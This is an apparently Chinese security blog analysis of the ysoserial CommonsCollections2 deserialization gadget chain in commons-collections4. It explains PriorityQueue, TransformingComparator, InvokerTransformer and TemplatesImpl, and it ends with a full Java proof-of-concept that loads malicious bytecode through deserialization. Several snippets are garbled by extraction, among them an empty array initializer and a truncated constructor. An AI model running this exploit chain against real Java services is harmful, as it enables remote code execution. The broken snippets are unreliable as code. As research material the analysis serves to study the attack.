正文
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2 commons-collections4版本利用链
cc2是针对commons-collections4版本,利用链如下:
1 2 3 4 5 6 7 8 9 10 | /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */ |
InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName( "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Field name = templates_cl.getDeclaredField( "_name" ); name.setAccessible( true ); name.set(templates, "xxx" ); Field transletIndex = templates_cl.getDeclaredField( "_transletIndex" ); transletIndex.setAccessible( true ); transletIndex.set(templates, 0 ); byte [] code = Files.readAllBytes(Paths.get( "D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class" )); byte [][] codes = ; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField( "_bytecodes" ); bytecodes.setAccessible( true ); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField( "_tfactory" ); tfactory.setAccessible( true ); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer( "newTransformer" , null , null ); transformer.transform(templates); } } |
InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | public class TransformingComparator<i o= "" > implements Comparator<i>, Serializable { private static final long serialVersionUID = 3456940356043606220L; private final Comparator<o> decorated; private final Transformer super I, ? extends O> transformer; public TransformingComparator(Transformer super I, ? extends O> transformer) { this (transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer super I, ? extends O> transformer, Comparator<o> decorated) { this .decorated = decorated; this .transformer = transformer; } public int compare(I obj1, I obj2) { O value1 = this .transformer.transform(obj1); O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); } } </o></o></i></i> |
通过compare的调用
1 2 3 | InvokerTransformer transformer = new InvokerTransformer( "newTransformer" , null , null ); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare( null ,templates); |
TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。
1 2 3 4 5 | public PriorityQueue( int initialCapacity, Comparator super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity |
由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。
1 2 3 4 5 | InvokerTransformer transformer = new InvokerTransformer( "newTransformer" , null , null ); PriorityQueue<object data-origwidth= "" data-origheight= "" style= "width: 1264px;" > priorityQueue = new PriorityQueue<object data-origwidth= "" data-origheight= "" style= "width: 512px;" >( 2 , transformingComparator); priorityQueue.add( 1 ); priorityQueue.add(templates); </object></object> |
但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。
1 2 3 4 5 6 7 8 | TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<object data-origwidth= "" data-origheight= "" style= "width: 1264px;" > priorityQueue = new PriorityQueue<object data-origwidth= "" data-origheight= "" style= "width: 520px;" >( 2 , transformingComparator); priorityQueue.add( 1 ); priorityQueue.add( 2 ); Field iMethodName = transformer.getClass().getDeclaredField( "iMethodName" ); iMethodName.setAccessible( true ); iMethodName.set(transformer, "newTransformer" ); </object></object> |
queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。
1 2 3 4 5 6 | private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { //略 for ( int i = 0 ; i < size; i++) s.writeObject(queue[i]); } |
1 2 3 4 5 6 7 | private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //略 for ( int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); } |
通过反射修改queues[0],利用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>( 2 , transformingComparator); priorityQueue.add( 1 ); priorityQueue.add( 2 ); Field iMethodName = transformer.getClass().getDeclaredField( "iMethodName" ); iMethodName.setAccessible( true ); iMethodName.set(transformer, "newTransformer" ); Field queue = priorityQueue.getClass().getDeclaredField( "queue" ); queue.setAccessible( true ); Object[] queues = (Object[]) queue.get(priorityQueue); queues[ 0 ] = templates; //这里得替换queues[0] //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。 |
最终完整利用实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName( "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); Field name = templates_cl.getDeclaredField( "_name" ); name.setAccessible( true ); name.set(templates, "xxx" ); Field transletIndex = templates_cl.getDeclaredField( "_transletIndex" ); transletIndex.setAccessible( true ); transletIndex.set(templates, 0 ); byte [] code = Files.readAllBytes(Paths.get( "D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class" )); byte [][] codes = ; //给_bytecodes赋值 Field bytecodes = templates_cl.getDeclaredField( "_bytecodes" ); bytecodes.setAccessible( true ); bytecodes.set(templates,codes); //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl类型的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField( "_tfactory" ); tfactory.setAccessible( true ); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer( "toString" , null , null ); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>( 2 , transformingComparator); priorityQueue.add( 1 ); priorityQueue.add( 2 ); Field iMethodName = transformer.getClass().getDeclaredField( "iMethodName" ); iMethodName.setAccessible( true ); iMethodName.set(transformer, "newTransformer" ); Field queue = priorityQueue.getClass().getDeclaredField( "queue" ); queue.setAccessible( true ); Object[] queues = (Object[]) queue.get(priorityQueue); queues[ 0 ] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream( new FileOutputStream( "D:\cc2.ser" )); objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream( new FileInputStream( "D:\cc2.ser" )); objectInputStream.readObject(); } } |
以上就是Java安全 ysoserial CommonsCollections2示例分析的详细内容,更多关于Java ysoserial CommonsCollections的资料请关注IT俱乐部其它相关文章!